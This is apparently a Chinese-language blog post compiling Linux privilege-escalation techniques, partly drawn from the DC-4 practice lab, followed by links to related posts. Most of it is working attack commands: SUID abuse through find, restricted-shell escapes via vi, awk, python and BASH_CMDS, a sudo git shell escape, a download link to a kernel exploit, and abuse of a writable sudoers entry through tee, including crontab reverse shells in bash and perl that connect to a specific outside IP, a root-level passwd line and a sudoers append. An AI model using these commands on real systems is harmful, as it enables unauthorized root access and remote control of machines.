linux提权方法(不断总结更新)
1.suid提权
运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)
搜索符合条件的可以用来提权的:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
三种都可以
搜索可以提权的程序,一般有以下 :
nmap vim find Bash More Less Nano cp
举例:find提权
find / -perm -u=s -type f 2>/dev/null
发现find可以利用
普通用户,进入到/tmp目录下,然后新建一个文件。
touch abcd
find abcd -exec whoami \;
会发现已经是root权限
2.rbash绕过
rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试
echo $PATH #查看自己可以使用的命令
less,ls,scp,vi 是我们可以用的
尝试用以下来绕过
#干就完事了
1.
vi test
:!/bin/sh
2.ed
3.ne
4. more less
more test
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd -exec whoami \;
/usr/bin/find /etc/passwd -exec /bin/sh \;
7.nmap
低版本
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.ruby
11.perl
12.php
13.
BASH_CMDS[a]=/bin/sh;a
最后用13成功绕过了rbash,进入了人sh
赶紧试试用/bin/bash进入bash,没有权限的提升,我就觉得这个好用,能用tab补全
执行:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
或者:PATH=$PATH:/bin
PATH=$PATH:/usr/bin
就可以正常使用了
3.git提权
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash
4.Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
下载地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
5.sudoer配置文件错误提权
5.1 基础知识
有的时候,普通用户经常要执行某个命令,但是经常需要sudo输入密码,我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升,但是如果一旦是给了用户写入的root权限,比如vi,那么这个普通用户一旦被入侵,就可以通过vi来提权
首先来看/etc/sudoers
chmod u+w /etc/shudoers
vi /etc/sudoers
看到这里
# User privilege specification
root ALL=(ALL:ALL) ALL
root:代表用户
第一个ALL:之网络中的主机,我也不知道什么意思,但是这个all还是不动好了
第二个(ALL:ALL):指以谁的身份去执行,root就行了
第三个ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc
看下面的图:
代表了用户zaq可以以root的权限运行ls指令
前边要加sudo,可以看到zaq用户成功查看了/root目录的结构
sudo -l 显示出自己(执行 sudo 的使用者)的权限
5.2 提权
如果这个/bin/ls变成了可以写入文件的命令会怎么办呢?比如:
/usr/bin/tee
这是在DC-4靶机上遇到的
#####################################################################
先看以下tee的用法
zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help
Usage: /usr/bin/tee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit
####################################################################
把输入写入文件,如果是-a的话就会在最后新起一行追加内容
1.corntab反弹shell
当 /bin/sh指向/bin/dash的时候(ubuntu默认这样,当前的靶机也是这样),反弹shell用bash的话得这样弹:
* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
这样弹shell的时候不知道为什么很慢,耐心等等
或者:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.suid
值得注意的是:chmod 4777 /bin/bash不会有这种效果(曾经看到这个解答,我给忘了,你不用管为什么了,自己试试就好了)
3.passwd添加用户
test:x:0:0::/home/admin:/bin/bash
4.sudoers文件
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
linux提权方法(不断总结更新)的更多相关文章
- Linux提权:从入门到放弃
*原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...
- 记一次初步Linux提权
前言. 提权这么久了 还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...
- 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...
- 利用Metasploit进行Linux提权
利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...
- 20. Linux提权:从入门到放弃
几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...
- metasploit下Windows的多种提权方法
metasploit下Windows的多种提权方法 前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以 ...
- Linux提权小结
原文链接:http://zone.secevery.com/article/1104 Linux提权1.信息收集2.脏牛漏洞提权3.内核漏洞exp提权4.SUID提权 0x00 基础信息收集(1):内 ...
- Linux提权手法整理
之前写过了windows提权小结,这下一篇水什么就有了嘛,于是有了这篇水文,整理一下Linux提权 前篇windows提权小结 ,链接送上 https://www.cnblogs.com/lcxblo ...
- Linux提权(1)-基础版~
利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...
随机推荐
- ElasticSearch创建动态索引
ElasticSearch创建动态索引 需求:某实例需要按照月份来维护,所以之前的“写死”索引的方式当然不行了.通过百度和看SpringDataElasticSearch官方文档,最后解决了这个问题. ...
- 原生js上传图片遇到的坑(axios封装)
后台给我写了一个上传图片的接口,自己用form表单测试成功 接口可以正常跳转 测试的代码: <!doctype html> <html lang="en"> ...
- 面试题之String s="a"+"b"+"c"+"d";
今天遇到了一个面试题的选择,我当时真的没怎么在意,其实挺好玩的. 1.这条语句String s="a"+"b"+"c"+"d&qu ...
- nginx和PHP之间的通信
如果程序员a和B在windows上开发代码,它们可以被分离到不同的服务器,因为nginx和PHP之间的通信是基于TCP fastcgi协议的我们可以在程序员的windows pc上安装nginx,使用 ...
- 简单实现app使用PC图片
提一个很人性化的需求: 在自己的app里使用PC里的图片. 关键点:传输.怎么把图片从PC导入自己的APP. 因为iOS的封闭性,一般用户不能很方便把图片导入手机相册.笔者稍微想了下,实现功能其实也有 ...
- spring data 入门
提出问题 我是Sping Data,是程序员的春天,因为我提供很多接口给开发人员, 减少程序员重复的写CRUD和分页等方法,你们也可以叫我春D,或者春帝,因为我很酷 解决问题 在Spring Data ...
- 2018/7/31-zznu-oj-问题 F: 手机密码--【裸dfs+for循环即可!——据说三个小时内只有两个人读完了题意并轻松AC了】
问题 F: 手机密码 时间限制: 1 Sec 内存限制: 128 MB提交: 41 解决: 23[提交] [状态] [讨论版] [命题人:admin] 题目描述 手机安全问题是大家经常关心的一个问 ...
- C#readonly和const对比
readonly:常量,只能在声明时或构造函数中赋值,与static连用表示静态常量 const:静态常量,只能在声明时赋值
- 好吧,关于nginx
今天在看关于nginx的文章,自己也动手试了一下. 我是在本地测试的,在IIS上面绑了两个网站,端口号不同.当我把IIS配置好以后,修改了nginx的conf文件. nginx配置: nginx配置好 ...
- 根据IP获取经纬度 js
<html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> &l ...